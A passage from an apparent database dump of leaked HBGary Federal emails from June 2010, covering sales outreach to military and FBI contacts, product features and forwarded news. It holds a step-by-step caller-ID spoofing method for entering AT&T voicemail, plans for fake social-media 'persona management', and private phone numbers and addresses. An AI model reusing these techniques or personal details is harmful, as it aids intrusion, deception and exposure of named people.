has some interesting initiatives he is working on and is looking for innovative small companies to talk to, I of course thought of Fidelis.  Rather than put Bill directly in contact with executives at Fidelis I thought you might be able to give him a very rich and objective perspective.\r\n>\r\n> Bill, Dave is one of the bright lights of cybersecurity and will likely have a lot of other insights that I don\'t.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>    \r\n',13348,'aaron_hbgary_com/13348.html'),(8019,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006237.M870649P14101Q2874.eml','\"David Etue\" <david@etue.net>','Re: Introduction','yep.\r\n\r\nOn Jun 30, 2010, at 9:44 AM, David Etue wrote:\r\n\r\n> Same Bill Luti?  http://en.wikipedia.org/wiki/William_J._Luti\r\n> \r\n> \r\n> On 6/30/2010 9:22 AM, Aaron Barr wrote:\r\n>> Dave,\r\n>> \r\n>> Let me introduce Bill Luti.  If my memory serves me, Bill was the Operations Director for NG Information Systems directly under Linda Mills.  Bill has some interesting initiatives he is working on and is looking for innovative small companies to talk to, I of course thought of Fidelis.  Rather than put Bill directly in contact with executives at Fidelis I thought you might be able to give him a very rich and objective perspective.\r\n>> \r\n>> Bill, Dave is one of the bright lights of cybersecurity and will likely have a lot of other insights that I don\'t.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>>   \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5986,'aaron_hbgary_com/5986.html'),(8020,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006238.M284041P14101Q2876.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','Re: Guide','right.\r\n\r\n\r\nOn Jun 30, 2010, at 9:48 AM, Winterfeld, Steven P (TASC) wrote:\r\n\r\n> You mean better - job security \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, June 30, 2010 7:31 AM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: Re: Guide \r\n> \r\n> wholly shit! thats it.\r\n> \r\n> \"CNN and MSNBC actively engage audiences through RSS Feeds, BLOGS, and\r\n> endeavors such as iReport\".\r\n> \r\n> BP has recently had their PR hijacked by a group that started publicizing\r\n> #BPGlobalPR, which now has 180K follows vs. BPs actual twitter PR account\r\n> has 16K followers.  The parody has become a viral hit.  This is a completely\r\n> new environment.  Screw developing malware, the new attack vector is\r\n> intelware, exploiting information rather than systems.  Man things just keep\r\n> getting worse.\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> On Jun 30, 2010, at 8:31 AM, Winterfeld, Steven P (TASC) wrote:\r\n> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3949,'aaron_hbgary_com/3949.html'),(8021,'2010-06-30','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297006238.M532147P14101Q2877.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Introduction','Even more interesting :)\r\n\r\nMy week ended up pretty crazy, as my last day at Fidelis is today.  I\'ve \r\ndo have some time tomorrow morning if you want to catch up.  I also \r\ncould do tomorrow afternoon, but it would need to be at my house in \r\nArlington while I wait for comcast to come fix my cable modem (for the \r\nfourth time...)  Friday I need to be up in Baltimore area for most of \r\nthe day, and then we are having a casual BBQ on Friday night (which we\'d \r\nbe happy to have you and your family come by!)\r\n\r\nDavid\r\n\r\nOn 6/30/2010 9:45 AM, Aaron Barr wrote:\r\n> yep.\r\n>\r\n> On Jun 30, 2010, at 9:44 AM, David Etue wrote:\r\n>\r\n>    \r\n>> Same Bill Luti?  http://en.wikipedia.org/wiki/William_J._Luti\r\n>>\r\n>>\r\n>> On 6/30/2010 9:22 AM, Aaron Barr wrote:\r\n>>      \r\n>>> Dave,\r\n>>>\r\n>>> Let me introduce Bill Luti.  If my memory serves me, Bill was the Operations Director for NG Information Systems directly under Linda Mills.  Bill has some interesting initiatives he is working on and is looking for innovative small companies to talk to, I of course thought of Fidelis.  Rather than put Bill directly in contact with executives at Fidelis I thought you might be able to give him a very rich and objective perspective.\r\n>>>\r\n>>> Bill, Dave is one of the bright lights of cybersecurity and will likely have a lot of other insights that I don\'t.\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>        \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>    \r\n',156,'aaron_hbgary_com/156.html'),(8022,'2010-06-30','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297006238.M71182P14101Q2875.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Guide','You mean better - job security \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 30, 2010 7:31 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Re: Guide \r\n\r\nwholly shit! thats it.\r\n\r\n\"CNN and MSNBC actively engage audiences through RSS Feeds, BLOGS, and\r\nendeavors such as iReport\".\r\n\r\nBP has recently had their PR hijacked by a group that started publicizing\r\n#BPGlobalPR, which now has 180K follows vs. BPs actual twitter PR account\r\nhas 16K followers.  The parody has become a viral hit.  This is a completely\r\nnew environment.  Screw developing malware, the new attack vector is\r\nintelware, exploiting information rather than systems.  Man things just keep\r\ngetting worse.\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 30, 2010, at 8:31 AM, Winterfeld, Steven P (TASC) wrote:\r\n\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2393,'aaron_hbgary_com/2393.html'),(8023,'2010-06-30','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297006238.M761564P14101Q2878.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Introduction - (right address for Bill)','Aaron - thanks for the introduction.\r\n\r\nBill - would enjoy the opportunity to talk.  I\'d love to learn more \r\nabout what you are working on, and happy to share information about \r\nFidelis as well as some other companies I know fairly well.  Let me know \r\nwhen would be a good time to catch up, and where you are located (I\'m in \r\nArlington, VA).  Unless you are up towards Baltimore, my week is pretty \r\ntight this week.  However, I have a fair amount of free time next week.\r\n\r\nDavid Etue\r\n(202) 669-3628\r\n\r\n\r\nOn 6/30/2010 9:32 AM, Aaron Barr wrote:\r\n> Dave,\r\n>\r\n> Let me introduce Bill Luti.  If my memory serves me, Bill was the Operations Director for NG Information Systems directly under Linda Mills.  Bill has some interesting initiatives he is working on and is looking for innovative small companies to talk to, I of course thought of Fidelis.  Rather than put Bill directly in contact with executives at Fidelis I thought you might be able to give him a very rich and objective perspective.\r\n>\r\n> Bill, Dave is one of the bright lights of cybersecurity and will likely have a lot of other insights that I don\'t.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>    \r\n',16522,'aaron_hbgary_com/16522.html'),(8024,'2010-06-30','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297006238.M974442P14101Q2879.eml','\"Aaron Barr\" <aaron@hbgary.com>','CYINT','Still work to do, but here is a draft of the new gig:  http://www.CYINT.net\r\n',14366,'aaron_hbgary_com/14366.html'),(8025,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006239.M207950P14101Q2880.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: U.S. falls into second place for Cyber Capability','A few things we can do in the area of social media.To use social media exploitation whether for FI purposes or for red teaming requires persona management. &nbsp;We can look at a capability to manage a shelf of personas for use in social media exploitation. &nbsp;A process for social media exploitation; information reconnaissance, intelware and malware development, etc.On the defensive side we probably need to look at technologies we can leverage or wrap into an information monitoring capability. &nbsp;What is publicly exposed. &nbsp;Maybe an offering around doing an information exposure profile for organizations.AaronOn Jun 30, 2010, at 2:04 AM, Greg Hoglund wrote:Surrounded by retardsMy god.&nbsp; The enemy can break into our systems using archived exploits from 5 years ago, they can type in a search term like it was google, find a vulnerable server in D.C., and just click-and-exploit the thing.&nbsp; They can queue 1,000 spearfishing emails against the government of South Africa in one click, informed all by Google searches.&nbsp; Someone will click the PDF.&nbsp; The RAT\'s bypass AV by definition, because they wouldn\'t be RAT\'s if they didn\'t pass the QA.&nbsp; And now social networks are closing the gap between attacker and victim, to the point I just found (via linked-in)&nbsp;112 females, wives of service men, all stationed at Hurlbert Field FL - in case you don\'t know this is where the CIA flies all their \"private\" airlines out of.&nbsp; What a damn joke - the U.S. is no longer the super power in cyber, and probably won\'t be in other areas soon.&nbsp; We are going down fast.&nbsp; If we don\'t get our shit together soon, I don\'t know what to say.&nbsp; I\'m kind-of freaked out by this sudden realization.&nbsp; The U.S. is no longer the lead - we are like the 2nd world nations trying to keep up now.&nbsp; China and Israel are in the lead.-Greg&nbsp;\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16317,'aaron_hbgary_com/16317.html'),(8026,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006239.M444084P14101Q2881.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: this guy\'s program is blown?','yeah I have some history here.This RFI is written for Anonymizer. &nbsp;They have a set of non-public capabilities they try and pitch to the intel community. &nbsp;Some of them are pretty good. &nbsp;My biggest concern with Anonymizer is I am concerned since they were purchased by Abraxis, a known intelligence contractor, that their general user pool has significantly diminished. &nbsp;I tried to get the figures from them but they wouldn\'t discuss. &nbsp;If their user pool is shrinking then some of their technology could be a vulnerability.But they have existing persona management software and the RFI references Anonymizer multiple times. &nbsp;I need to get in front of the AFISR folks when I go down to GFIRST. &nbsp;We will send him our whitepaper and try to set up a meeting.AaronOn Jun 30, 2010, at 2:36 AM, Greg Hoglund wrote:&nbsp;\r\nThis guy:\r\n&nbsp;\r\nrussell.beasley-02@macdill.af.mil\r\n&nbsp;\r\nHis digital-cover ops / program is posted all over the \'net as of like&nbsp;15 days ago.&nbsp; Not sure wtf that is about.&nbsp; Here are the links I have found:\r\n&nbsp;\r\nhttp://www.google.com/url?sa=t&amp;source=web&amp;cd=1&amp;ved=0CBIQFjAA&amp;url=http%3A%2F%2Fwww.fbodaily.com%2Farchive%2F2010%2F06-June%2F24-Jun-2010%2FFBO-02184732.htm&amp;rct=j&amp;q=RTB220610+&amp;ei=fuQqTPXyOYWclgfh2KmhAw&amp;usg=AFQjCNH0yml3Q-ZCNaTNdmqvhhHI4_hEnw\r\n\r\n&nbsp;\r\nhttp://www.google.com/url?sa=t&amp;source=web&amp;cd=2&amp;ved=0CBUQFjAB&amp;url=http%3A%2F%2Fwww.fbodaily.com%2Farchive%2F2010%2F06-June%2F24-Jun-2010%2Fr-src.htm&amp;rct=j&amp;q=RTB220610+&amp;ei=fuQqTPXyOYWclgfh2KmhAw&amp;usg=AFQjCNFIx_JrrOPkBfuJqEI2F64sb5kYlw\r\n\r\n&nbsp;\r\nhttp://www.google.com/url?sa=t&amp;source=web&amp;cd=3&amp;ved=0CBoQFjAC&amp;url=http%3A%2F%2Fwww.slbid.com%2Fgovernment_bids%2Findex.htm%3Fbt%3D1%26so%3Da%26otp%3Dfed%26st%3D60504000%26pageno%3D3&amp;rct=j&amp;q=RTB220610+&amp;ei=fuQqTPXyOYWclgfh2KmhAw&amp;usg=AFQjCNFIyb32PqVasLSeLaT2DHYxRo5aoQ\r\n\r\n&nbsp;\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=d88e9d660336be91552fe8c1a51bacb2&amp;tab=core&amp;_cview=1\r\n\r\n&nbsp;\r\nwhoa man.\r\n&nbsp;\r\n-G\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11350,'aaron_hbgary_com/11350.html'),(8027,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006239.M651267P14101Q2882.eml','russell.beasley-02@macdill.af.mil','Introduction','Mr. Beasley,I saw the solicitation,&nbsp;RTB220610, for Persona Management Software. &nbsp;I recently gave a presentation at the NSA REBL Conference on Social Media, Exploitation, and Persistent Internet Operations. &nbsp;My team has about 7 years of experience here, unique I believe in the use of social media married with traditional exploitation to achieve mission objectives. &nbsp;If this capability is of interest could you put me in contact with someone that might be interested in having a classified capabilities briefing in this area?\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12565,'aaron_hbgary_com/12565.html'),(8028,'2010-06-30','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297006239.M890130P14101Q2883.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: Next iteration is coming up','My official request is for timeline creation.  I had requested #1 below but now I realize it was a means to get to #2.  I was going to take the artifacts from #1 and do this manually:http://blogs.sans.org/computer-forensics/2010/03/19/digital-forensic-sifting-super-timeline-analysis-and-creation/\r\nIOn Wed, Jun 30, 2010 at 12:43 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nOn Tue, Jun 29, 2010 at 9:07 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n#1 – Yes, we could pull memory images and do memory forensics in Responder.  But it is my understanding that our endpoint agent already harvests all RAM data, but we don’t bring any of it to the UI.  Seems simple and straightforward to me to bring it to the AD UI.  It would make inspection of endpoints that much faster and would streamline work flow.\r\n\r\n\r\n\r\n \r\nWe bring alot back, and deep-dive is possible using Responder.  As of tommorow, customers will be able to download the memory snapshots and open them in Responder without leaving the AD interface.\r\n\r\n\r\n\r\n\r\n \r\n#2 – When DDNA and queries find potentially bad things the customers want to grab the artifacts to examine them.  Many of these artifacts are located on disk.  It would be useful to gather the evidence and transport it over the network for the analyst.  This is a feature set that Mandiant has that we don’t.\r\n\r\n\r\n \r\nAs of the release tomorrow, customers will be able to query and download any file from the remote system.  This is forensically sound.\r\n \r\nWe have two new features on deck:\r\n \r\n1) preview remote filesystem\r\n - the GUI would look just like windows explorer\r\n - any file could be copied / drag-and-dropp&#39;ed from the remote system\r\n - this is forensically sound\r\n \r\nNote: this would compete with EnCase and F-Response both\r\n \r\n2) timeline view\r\n - the temporary internet files, prefetch, and system32\\config directories would be acquired\r\n - timestamps and reg-ripping and event log entries would create a timeline of events\r\n - these would be plotted on a new GUI control that looks like a timeline\r\n \r\nOf these, #1 is easier.\r\n \r\n-Greg\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',6176,'aaron_hbgary_com/6176.html'),(8029,'2010-06-30','\"Joe Pizzo\" <joe@hbgary.com>','/aaron@hbgary.com/new/1297006240.M136758P14101Q2884.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: Next iteration is coming up','I have had a few requests and I am not sure what fits or is planned, but here they are:\r\nThe ability to add a range of IP addresses for bulk system add and group management \r\nHistorical view of resulting data (maybe the last three scans)\r\nAbility to search results (search by name, score, date, module, process, system) with boolean options in natural language (customers do not want to relearn boolean operators)\r\nPizzo\r\n_._._._._._._._._._._._._\r\nJoseph Pizzo\r\njoe@hbgary.com\r\nPh: 917.952.6385\r\nOn Jun 29, 2010 8:56 PM, &quot;Greg Hoglund&quot; &lt;greg@hbgary.com&gt; wrote: \r\nTeam,\r\n \r\nHere is your chance to vote for your #1 feature.  You can ask, plead, beg, or bribe us with beer.\r\n \r\nThe next iteration is being planned tommorow, cards are going up, and we plan on focusing on bug fixes and smaller features.  We may include a big feature as well, depending on how the timeline looks.\r\n \r\n-Greg\r\n\r\n',15617,'aaron_hbgary_com/15617.html'),(8030,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006243.M538254P14101Q2885.eml','michael.sohn@ic.fbi.gov','Discussions','Michael,\r\n\r\nWe talked briefly at the REBL conference and I am following up to see what connections we might have on capabilities and your operational requirements.  Right now I am working on a 1 day training course on social media to familiarize organizations on information exposure, proper uses of social media, use cases, etc.\r\n\r\nMy knowledge of social media stems from my experience developing social media capabilities to satisfy intelligence requirements.  I see a new wave of intelware combined with malware.  Intelware is far more difficult to detect because it can mask as legitimate applications providing capabilities and collecting information in the process.\r\n\r\nAttached is our general information security services datasheet.  There area least described is our capabilities in IO, which tend to be conversations better to be had in person.\r\n\r\nLet me know if there is something here your interested in learning more about.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9859,'aaron_hbgary_com/9859.html'),(8031,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006247.M169008P14101Q2886.eml','lorenzo.j.sandoval@mi.army.mil','Follow-on discussions','Rico,\r\n\r\nI enjoyed talking with you briefly after my presentation at the REBL conference.  I am inquiring on a potential interest in your organization in having a discussion on our experience and capabilities and how they might fit any of your operational requirements?\r\n\r\nWe are in the process of developing a 1 day social media training course for organizations to understand the environment, uses, risks, use cases, and information monitoring techniques.  The flip side of this is how to use social media for reconnaissance and exploitation.  This is the area that my team has the most experience.\r\n\r\nI had a conversation with CPT Turner from INSCOM last week, not sure if your in a similar organization.\r\n\r\nAttached is our current information services security datasheet.  The area with the least definition is our capability in IO, which is usually best described in person.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10096,'aaron_hbgary_com/10096.html'),(8032,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006252.M841475P14101Q2887.eml','william.hibbard@peterson.af.mil','Discussions','Maj Hibbard,\r\n\r\nI am writing to you to see if there is a connection between our capabilities and your operational requirements.\r\n\r\nI am currently developing a training course on social media to familiarize organizations with the landscape, future trends and technologies, uses, risks, use cases, and information monitoring techniques.  I can send you a copy of the presentation I gave at the NSA REBL conference on Social Media, Exploitation, and Persistent Internet Operations.\r\n\r\nMy teams background is in using social media and traditional exploitation techniques to satisfy intelligence requirements.  There is a new field I will call Intelware that organizations need to understand and start monitoring.\r\n\r\nAttached is our general information security services datasheet.  The least descriptive area is our capabilities in IO, which tend to be information better described in person. \r\n\r\nOur main office is in Colorado Springs if you would be interested in getting a capabilities briefing.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4591,'aaron_hbgary_com/4591.html'),(8033,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006256.M636338P14101Q2888.eml','\"Bob Shows\" <rj.shows@ngc.com>,\"Bob Shows\" <rj.shows@ngc.com>','Update','Hi Bob,\r\n\r\nChecking in to see how things are going and give you an update on our capabilities.  See attached datasheet on our general information security services offerings.\r\n\r\nWhere I have been focused recently is on social media.  With the recent DoD directive that open .mil to social media access there seems to be a lot of anxiety, and there should be.  I gave a presentation a few weeks ago at the NSA REBL conference on Social Media, Exploitation and Persistent Internet Operations.  I was flooded with questions and was told it was one of the highlights of the conference by the conference coordinator.\r\n\r\nWe are in the process of developing a 1 day Social Media training course to familiarize organizations with the social media landscape, uses, risks, use cases, and information monitoring techniques.  We are also talking with a few red teams on helping them develop social media capabilities in their Red Team engagements.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7163,'aaron_hbgary_com/7163.html'),(8034,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006278.M40357P14101Q2889.eml','\"Timothy W. Estell\" <TIMOTHY.W.ESTELL@saic.com>,\"Scott W. Sheldon\" <SCOTT.W.SHELDON@saic.com>','Datasheet and Presentation','Hi Scott/Tim,\r\n\r\nI thought you might be interested in our datasheet as well as a recent presentation I gave to the NSA REBL conference.\r\n\r\nThe presentation was on Social Media, Exploitation, and Persistent Internet Operations.  This is an area my team has a lot of experience in and it turns out an area the DoD especially is very concerned about given recent DoD directives opening .mil to social media.  There is a new wave of attacks that will come in the form of Intelware, far more difficult to detect because they will have legitimate purposes but also serve as reconnaissance and human exploitation capabilities.\r\n\r\nI am in the process of developing a 1 day training course to familiarize organizations with social media landscape, uses, risks, use cases, and information monitoring techniques.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9490,'aaron_hbgary_com/9490.html'),(8035,'2010-06-30','\"Teligy\" <info@teligy.com>','/aaron@hbgary.com/new/1297006280.M161744P14101Q2890.eml','aaron@hbgary.com','Teligy\'s custom embedded systems patrol the ocean','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nView this email as a web page.\r\n\r\n	\r\n		\r\n	\r\n	\r\n		\r\n		\r\n\r\n	\r\n		When a prime defense contractor needed a custom data recorder for a next generation sonar buoy, they turned to Teligy. The reason? The contractor knew they could get a custom embedded system that met all of the mission\r\nparameters, including low power consumption, the ability to harness custom FPGA hardware for data format conversion, and long-range wireless data retrieval.\r\n\r\nThe result was a custom sonar data recorder solution that met an aggressive development schedule, yet exceeded performance, battery power and wireless range goals.\r\n\r\n\r\n\r\nWhen it comes to embedded systems and communications engineering services, Teligy can innovate the answer. For more information, or to begin working toward your customized solution, call 864.286.3856. See solutions to other development challenges at www.teligy.com.\r\n	\r\n\r\n\r\n	\r\n\r\nTeligy&nbsp;&nbsp;&nbsp;&bull;&nbsp;&nbsp;&nbsp;40 Concourse Way&nbsp;&nbsp;&nbsp;&bull;&nbsp;&nbsp;&nbsp;Greer, SC 29650&nbsp;&nbsp;&nbsp;&bull;&nbsp;&nbsp;&nbsp;http://www.teligy.com\r\n\r\n\r\nTo unsubscribe, click here\r\n',12810,'aaron_hbgary_com/12810.html'),(8036,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006280.M427131P14101Q2891.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>','Information on PointAbout','capabilities deck:&nbsp;http://link.PointAbout.com/capabilities&nbsp;whitepaper on our mobile strategy &amp; dev process:http://link.PointAbout.com/whitepaper&nbsp;a slide on what the mobile landscape looks like:&nbsp;http://link.Pointabout.com/pyramid&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9873,'aaron_hbgary_com/9873.html'),(8037,'2010-06-30','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297006280.M653939P14101Q2892.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Guide','UT? = you there (figured it out on the way to work)\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 30, 2010 7:50 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Re: Guide \r\n\r\nright.\r\n\r\n\r\nOn Jun 30, 2010, at 9:48 AM, Winterfeld, Steven P (TASC) wrote:\r\n\r\n> You mean better - job security \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, June 30, 2010 7:31 AM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: Re: Guide \r\n> \r\n> wholly shit! thats it.\r\n> \r\n> \"CNN and MSNBC actively engage audiences through RSS Feeds, BLOGS, and\r\n> endeavors such as iReport\".\r\n> \r\n> BP has recently had their PR hijacked by a group that started publicizing\r\n> #BPGlobalPR, which now has 180K follows vs. BPs actual twitter PR account\r\n> has 16K followers.  The parody has become a viral hit.  This is a\r\ncompletely\r\n> new environment.  Screw developing malware, the new attack vector is\r\n> intelware, exploiting information rather than systems.  Man things just\r\nkeep\r\n> getting worse.\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> On Jun 30, 2010, at 8:31 AM, Winterfeld, Steven P (TASC) wrote:\r\n> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12885,'aaron_hbgary_com/12885.html'),(8038,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006280.M970751P14101Q2893.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Regular domains beat smut sites at hosting malware','Regular domains beat smut sites at hosting malware99 to 1, study finds\r\n New research pours scorn on the comforting but erroneous belief that Windows surfers who avoid smut and wares on the web are likely to avoid exposure to malware.…Sent from my iPad\r\n\r\n',9006,'aaron_hbgary_com/9006.html'),(8039,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006281.M188996P14101Q2894.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Hack AT&T Voicemail With Android','Finally your phone is good for something.Hack AT&amp;T Voicemail With Android\r\nAn anonymous reader writes &quot;It is shockingly easy to gain access to an AT&amp;T customer&#39;s voicemail using caller ID spoofing techniques. What&#39;s worse is that AT&amp;T knows about it. On your Android phone, download one of the two caller ID spoofing programs. Input the number of your target as the destination number and then enter the same number as the spoofed caller ID. Then connect your call. If the target has not added a voicemail password (the default is no password), you will be dropped into a random menu of their voicemail and eventually can drill up or down to get what you want. You can change greetings, erase messages, send voicemails out of the target account, and much more. How many politicians up in arms about Google Wi-Fi sniffing will want to know more about this?&quot;\r\n\r\n   \r\n      Read more of this story at Slashdot.\r\n\r\n\r\n\r\nSent from my iPad\r\n',12797,'aaron_hbgary_com/12797.html'),(8040,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006281.M414926P14101Q2895.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Chinese Companies Rent White Foreigners','New business.  Rent white people to Chinese companies.  Think of the intelligence collection possibilities.  Damn i hate it that we are such pussies.AChinese Companies Rent White Foreigners\r\nThe job market may look bad here, but if you&#39;re in China, and you happen to be white, all you need is a suit and tie. An increasing number of Chinese companies are willing to pay any price to have a few fair-skinned faux employees walking around. From the article: &quot;&#39;Face, we say in China, is more important than life itself,&#39; said Zhang Haihua, author of Think Like Chinese. &#39;Because Western countries are so developed, people think they are more well off, so people think that if a company can hire foreigners, it must have a lot of money and have very important connections overseas. So when they really want to impress someone, they may roll out a foreigner.&#39; Or rent one.&quot;\r\n\r\n   \r\n      Read more of this story at Slashdot.\r\n\r\n\r\n\r\nSent from my iPad\r\n',13799,'aaron_hbgary_com/13799.html'),(8041,'2010-06-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006281.M636914P14101Q2896.eml','aaron@hbgary.com','Game Hacking / Botting Talk (Josh, a friend of Greg\'s)',' \r\nAaron,\r\n \r\nJosh, a friend of mine who now works at Kaspersky, wanted to pitch a game hacking talk at Defcon this year.  Josh has many years experience developing and selling &quot;back office&quot; bots to large scale chinese gold farming operations.  So, he knows the business as well as the tech, and has alot of war stories about botting wow over the years.  I joined up with him and we put a co-presentation together for Blackhat and Defcon both, and both talks were declined.  I think this talk has a great amount of value, however - especially considering your recent decision to grow the marketing around social media exploitation.  \r\n\r\n \r\n-Greg\r\n',14406,'aaron_hbgary_com/14406.html'),(8042,'2010-06-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006281.M859946P14101Q2897.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: this guy\'s program is blown?',' \r\nI met with a guy, the CEO of C5i, for dinner when I was in D.C. last.  He told me he wants to take Anonymizers business away and compete with them.  On a flip side, do you think HBGary Federal could compete in that space?  How costly or painful is it to set something up?\r\n\r\n \r\n-G\r\nOn Wed, Jun 30, 2010 at 7:14 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nyeah I have some history here. \r\n\r\nThis RFI is written for Anonymizer.  They have a set of non-public capabilities they try and pitch to the intel community.  Some of them are pretty good.  My biggest concern with Anonymizer is I am concerned since they were purchased by Abraxis, a known intelligence contractor, that their general user pool has significantly diminished.  I tried to get the figures from them but they wouldn&#39;t discuss.  If their user pool is shrinking then some of their technology could be a vulnerability.\r\n\r\n\r\nBut they have existing persona management software and the RFI references Anonymizer multiple times.  I need to get in front of the AFISR folks when I go down to GFIRST.  We will send him our whitepaper and try to set up a meeting.\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 30, 2010, at 2:36 AM, Greg Hoglund wrote:\r\n\r\n \r\nThis guy:\r\n \r\nrussell.beasley-02@macdill.af.mil\r\n \r\nHis digital-cover ops / program is posted all over the &#39;net as of like 15 days ago.  Not sure wtf that is about.  Here are the links I have found:\r\n \r\nhttp://www.google.com/url?sa=t&amp;source=web&amp;cd=1&amp;ved=0CBIQFjAA&amp;url=http%3A%2F%2Fwww.fbodaily.com%2Farchive%2F2010%2F06-June%2F24-Jun-2010%2FFBO-02184732.htm&amp;rct=j&amp;q=RTB220610+&amp;ei=fuQqTPXyOYWclgfh2KmhAw&amp;usg=AFQjCNH0yml3Q-ZCNaTNdmqvhhHI4_hEnw\r\n\r\n 